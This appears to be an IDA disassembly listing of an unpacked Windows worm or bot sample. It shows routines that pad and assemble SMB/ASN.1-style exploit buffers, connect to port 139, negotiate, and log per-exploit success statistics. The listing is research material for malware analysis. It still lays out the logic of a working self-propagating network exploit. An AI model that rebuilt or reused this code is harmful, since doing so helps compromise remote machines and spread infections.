;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7A25F9E3CF5A54CADC497FBC9CABFEAF

; File Name   :	u:\work\7a25f9e3cf5a54cadc497fbc9cabfeaf_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00279000 (2592768.)
; Section size in file		: 00279000 (2592768.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40126C+Ep
					; sub_40126C+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40100A	proc near		; CODE XREF: sub_40126C+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_4297B8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40103C
		push	ebx
		push	0
		push	edi
		call	sub_429760
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_429420
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40103C:				; CODE XREF: sub_40100A+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40100A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401044	proc near		; CODE XREF: sub_401136+18p
					; sub_4011B0+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_401090
		push	edi
		push	0
		push	esi
		call	sub_429760
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_429420
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_429420
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_401090:				; CODE XREF: sub_401044+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_401044	endp


; =============== S U B	R O U T	I N E =======================================



sub_401099	proc near		; CODE XREF: sub_401136+5Ep
					; sub_401136+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4010A9
		push	eax
		call	sub_4298F2
		pop	ecx


loc_4010A9:				; CODE XREF: sub_401099+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_401099	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010B2	proc near		; CODE XREF: sub_401136+20p
					; sub_401211+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4010DC
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_4297B8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4010E0


loc_4010DC:				; CODE XREF: sub_4010B2+Dj
		xor	al, al
		jmp	short loc_401132
; ---------------------------------------------------------------------------


loc_4010E0:				; CODE XREF: sub_4010B2+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_429760
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_401100
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_401115
; ---------------------------------------------------------------------------


loc_401100:				; CODE XREF: sub_4010B2+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_401115:				; CODE XREF: sub_4010B2+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_429420
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_4298F2
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_401132:				; CODE XREF: sub_4010B2+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401136	proc near		; CODE XREF: sub_40126C+89p
					; sub_40126C+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_454038
		call	sub_401044
		lea	ecx, [ebp+var_8]
		call	sub_4010B2
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_4297B8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401170
		xor	al, al
		jmp	short loc_4011AC
; ---------------------------------------------------------------------------


loc_401170:				; CODE XREF: sub_401136+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_429760
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_429420
		add	esp, 18h
		mov	ecx, esi
		call	sub_401099
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_401099
		mov	al, 1


loc_4011AC:				; CODE XREF: sub_401136+38j
		pop	edi
		pop	esi
		leave
		retn
sub_401136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011B0	proc near		; CODE XREF: sub_4011E4+14p
					; sub_401201+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_401044
		mov	ecx, esi
		call	sub_401099
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4011B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011E4	proc near		; CODE XREF: sub_40126C+F0p
					; sub_40126C+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4293A0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4011B0
		pop	esi
		retn	4
sub_4011E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401201	proc near		; CODE XREF: sub_40124D+Bp
					; sub_40126C+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4011B0
		retn	8
sub_401201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401211	proc near		; CODE XREF: sub_40124D+16p
					; sub_40126C+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4010B2
		test	al, al
		jz	short loc_40124A
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_43A2F8
		call	sub_401044
		mov	ecx, esi
		call	sub_401099
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40124A:				; CODE XREF: sub_401211+Fj
		pop	esi
		leave
		retn
sub_401211	endp


; =============== S U B	R O U T	I N E =======================================



sub_40124D	proc near		; CODE XREF: sub_40126C+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_401201
		test	al, al
		jz	short loc_401268
		mov	ecx, esi
		call	sub_401211


loc_401268:				; CODE XREF: sub_40124D+12j
		pop	esi
		retn	8
sub_40124D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40126C	proc near		; CODE XREF: .text:00401821p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_401000
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_4015B0
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_4015B0
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_401000
		lea	ecx, [ebp+var_20]
		call	sub_401000
		lea	ecx, [ebp+var_50]
		call	sub_401000
		lea	ecx, [ebp+var_18]
		call	sub_401000
		lea	ecx, [ebp+var_40]
		call	sub_401000
		lea	ecx, [ebp+var_38]
		call	sub_401000
		lea	ecx, [ebp+var_28]
		call	sub_401000
		push	4
		push	offset dword_43A05C
		lea	ecx, [ebp+var_30]
		call	sub_4011B0
		push	3
		push	offset dword_43A064
		lea	ecx, [ebp+var_30]
		call	sub_4011B0
		lea	ecx, [ebp+var_30]
		call	sub_401136
		lea	ecx, [ebp+var_30]
		call	sub_401211
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_43A050
		call	sub_4011B0
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4011B0
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4011B0
		lea	ecx, [ebp+var_20]
		call	sub_401136
		push	offset loc_43A320
		lea	ecx, [ebp+var_50]
		call	sub_4011E4
		lea	ecx, [ebp+var_50]
		call	sub_401136
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40100A
		lea	ecx, [ebp+var_58]
		call	sub_401136
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40124D
		lea	ecx, [ebp+var_58]
		call	sub_401099
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_429760
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_4011E4
		push	4
		push	offset dword_43A068
		lea	ecx, [ebp+var_18]
		call	sub_4011B0
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4011B0
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4011B0
		lea	ecx, [ebp+var_18]
		call	sub_401136
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_401201
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_401201
		lea	ecx, [ebp+var_40]
		call	sub_401211
		lea	ecx, [ebp+var_18]
		call	sub_401099
		lea	ecx, [ebp+var_50]
		call	sub_401099
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_401201
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_401201
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_401201
		lea	ecx, [ebp+var_38]
		call	sub_401211
		lea	ecx, [ebp+var_20]
		call	sub_401099
		lea	ecx, [ebp+var_30]
		call	sub_401099
		lea	ecx, [ebp+var_40]
		call	sub_401099
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4011B0
		lea	ecx, [ebp+var_28]
		call	sub_401136
		push	2
		push	offset dword_43A314
		lea	ecx, [ebp+var_28]
		call	sub_4011B0
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_401201
		lea	ecx, [ebp+var_28]
		call	sub_401211
		lea	ecx, [ebp+var_38]
		call	sub_401099
		lea	ecx, [ebp+var_10]
		call	sub_401000
		lea	ecx, [ebp+var_8]
		call	sub_401000
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_401201
		lea	ecx, [ebp+var_10]
		call	sub_4010B2
		lea	ecx, [ebp+var_28]
		call	sub_401099
		push	offset dword_43A310
		lea	ecx, [ebp+var_8]
		call	sub_4011E4
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401201
		lea	ecx, [ebp+var_8]
		call	sub_4010B2
		lea	ecx, [ebp+var_10]
		call	sub_401099
		push	offset dword_43A30C
		lea	ecx, [ebp+var_10]
		call	sub_4011E4
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_401201
		lea	ecx, [ebp+var_10]
		call	sub_4010B2
		lea	ecx, [ebp+var_8]
		call	sub_401099
		push	offset dword_43A300
		lea	ecx, [ebp+var_8]
		call	sub_4011E4
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401201
		lea	ecx, [ebp+var_8]
		call	sub_4010B2
		lea	ecx, [ebp+var_10]
		call	sub_401099
		push	offset dword_43A2FC
		lea	ecx, [ebp+var_48]
		call	sub_4011E4
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_401201
		lea	ecx, [ebp+var_8]
		call	sub_401099
		pop	esi


loc_4015B0:				; CODE XREF: sub_40126C+1Bj
					; sub_40126C+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40126C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015C2	proc near		; CODE XREF: sub_401687+A2p
					; sub_401687+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_456F1C	; select
		cmp	eax, edi
		jnz	short loc_40162A
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	dword_456DD8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40162E


loc_40162A:				; CODE XREF: sub_4015C2+54j
		xor	eax, eax
		jmp	short loc_40163E
; ---------------------------------------------------------------------------


loc_40162E:				; CODE XREF: sub_4015C2+66j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_456F58	; recv


loc_40163E:				; CODE XREF: sub_4015C2+6Aj
		pop	edi
		pop	esi
		leave
		retn
sub_4015C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401642	proc near		; CODE XREF: sub_401687+80p
					; sub_401687+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_456F34	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		cmp	eax, 4
		jz	short loc_40166C
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40166C:				; CODE XREF: sub_401642+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_401642	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401687	proc near		; CODE XREF: sub_401766+48p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4016B0
		xor	al, al
		jmp	loc_401761
; ---------------------------------------------------------------------------


loc_4016B0:				; CODE XREF: sub_401687+20j
		push	ebx
		push	0
		push	esi
		call	sub_429760
		push	2Fh
		push	offset dword_43A0F8
		push	esi
		call	sub_429420
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43A128
		push	eax
		mov	[esi+2Fh], di
		call	sub_429420
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_429420
		push	6
		add	ebx, edi
		push	offset dword_454030
		push	ebx
		call	sub_429420
		push	85h
		push	offset dword_43A070
		push	[ebp+arg_0]
		call	sub_401642
		add	esp, 48h
		test	al, al
		jnz	short loc_401717


loc_401713:				; CODE XREF: sub_401687+B8j
		xor	bl, bl
		jmp	short loc_401758
; ---------------------------------------------------------------------------


loc_401717:				; CODE XREF: sub_401687+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4015C2
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_401642
		add	esp, 1Ch
		test	al, al
		jz	short loc_401713
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_4015C2
		add	esp, 10h
		mov	bl, 1


loc_401758:				; CODE XREF: sub_401687+8Ej
		push	esi
		call	sub_4298F2
		pop	ecx
		mov	al, bl


loc_401761:				; CODE XREF: sub_401687+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401687	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401766	proc near		; CODE XREF: .text:0040189Ap

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_43A138
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		cmp	eax, 48h
		jnz	short loc_4017A1
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_4015C2
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4017A1
		cmp	[ebp+var_20], 82h
		jz	short loc_4017A5


loc_4017A1:				; CODE XREF: sub_401766+1Bj
					; sub_401766+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4017A5:				; CODE XREF: sub_401766+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401687
		add	esp, 0Ch
		leave
		retn
sub_401766	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 41Ch
		and	byte ptr [ebp-41Ch], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Bh]
		push	7
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-41Ch]
		push	offset dword_43A2F0
		push	eax
		call	sub_429420
		push	dword_43A184
		lea	eax, [ebp-41Ch]
		push	offset dword_43A8E8
		push	eax
		call	sub_429420
		lea	eax, [ebp-41Ch]
		push	400h
		push	eax
		push	164h
		lea	eax, [ebp-0Ch]
		push	offset sub_43A188
		push	eax
		call	sub_40126C
		xor	ebx, ebx
		add	esp, 2Ch
		cmp	[ebp-8], ebx
		jnz	short loc_401837
		xor	eax, eax
		jmp	loc_40198B
; ---------------------------------------------------------------------------


loc_401837:				; CODE XREF: .text:0040182Ej
		mov	[ebp-4], ebx


loc_40183A:				; CODE XREF: .text:004018C2j
		test	ebx, ebx
		jnz	loc_4018C8
		push	6
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4018B0
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		stosd
		stosd
		stosw
		push	8Bh
		mov	word ptr [ebp-1Ch], 2
		call	dword_456F38	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+10h]
		push	eax
		call	dword_456F7C	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4018A5
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-0Ch]
		push	esi
		call	sub_401766
		add	esp, 0Ch
		movzx	ebx, al


loc_4018A5:				; CODE XREF: .text:00401891j
		push	esi
		call	dword_456FF0	; closesocket
		test	ebx, ebx
		jnz	short loc_4018BB


loc_4018B0:				; CODE XREF: .text:00401853j
		push	3E8h
		call	dword_437190	; Sleep


loc_4018BB:				; CODE XREF: .text:004018AEj
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 2
		jl	loc_40183A


loc_4018C8:				; CODE XREF: .text:0040183Cj
		lea	ecx, [ebp-0Ch]
		call	sub_401099
		test	ebx, ebx
		jz	loc_40197E
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+10h]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	short loc_40197E
		mov	edx, [ebp+0BCh]
		xor	ebx, ebx
		mov	eax, edx
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		shl	eax, 6
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+0CCh], ebx
		mov	ecx, [ecx]
		jz	short loc_401952
		cmp	[ebp+0C4h], ebx
		jnz	short loc_40195A
		push	ecx
		lea	ecx, [ebp+10h]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CE4A
		mov	edx, [ebp+0BCh]
		add	esp, 1Ch


loc_401952:				; CODE XREF: .text:00401926j
		cmp	[ebp+0C4h], ebx
		jz	short loc_40197E


loc_40195A:				; CODE XREF: .text:0040192Ej
		shl	edx, 6
		lea	eax, [ebp+10h]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CDD4
		add	esp, 1Ch


loc_40197E:				; CODE XREF: .text:004018D2j
					; .text:004018FDj ...
		lea	eax, [ebp+10h]
		push	eax
		call	sub_401E9E
		xor	eax, eax
		pop	ecx
		inc	eax


loc_40198B:				; CODE XREF: .text:00401832j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401990	proc near		; CODE XREF: sub_40A9FE+5DEEp

var_4E20	= byte ptr -4E20h
var_2710	= byte ptr -2710h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 4E20h
		call	sub_429B60
		push	ebx
		push	edi
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		lea	eax, [ebp+var_2710]
		push	offset aSStats	; "%s (Stats):"
		push	eax
		xor	ebx, ebx
		call	sub_429B03
		add	esp, 0Ch
		cmp	dword_43A378, ebx
		mov	edi, 2710h
		jz	short loc_401A08
		push	esi
		mov	esi, offset dword_43A380


loc_4019CD:				; CODE XREF: sub_401990+75j
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-29h]
		push	eax
		lea	eax, [ebp+var_4E20]
		push	offset aSD_0	; " (%s: %d),"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4E20]
		push	edi
		push	eax
		lea	eax, [ebp+var_2710]
		push	eax
		call	sub_4299E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4019CD
		pop	esi


loc_401A08:				; CODE XREF: sub_401990+35j
		push	0
		push	dword_457E58
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41B9F8
		push	eax
		push	ebx
		push	dword_457D08
		lea	eax, [ebp+var_4E20]
		push	offset aEftpdDTotalDIn ; " (EFTPD): (%d), Total	-> (%d in %s)"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4E20]
		push	edi
		push	eax
		lea	eax, [ebp+var_2710]
		push	eax
		call	sub_4299E0
		add	esp, 2Ch
		cmp	ebx, [ebp+arg_10]
		lea	eax, [ebp+var_2710]
		pop	edi
		pop	ebx
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jg	short loc_401A66
		cmp	[ebp+arg_8], 0
		jnz	short loc_401A6D


loc_401A66:				; CODE XREF: sub_401990+CEj
		call	sub_41CE4A
		jmp	short loc_401A72
; ---------------------------------------------------------------------------


loc_401A6D:				; CODE XREF: sub_401990+D4j
		call	sub_41CDD4


loc_401A72:				; CODE XREF: sub_401990+DBj
		add	esp, 0Ch
		leave
		retn
sub_401990	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A77	proc near		; CODE XREF: sub_401B6E+1B3p
					; sub_401B6E+1B9p ...
		push	esi
		push	edi
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		push	1Ah
		pop	edi
		cdq
		mov	ecx, edi
		push	61h
		idiv	ecx
		pop	esi
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		idiv	edi
		add	edx, esi
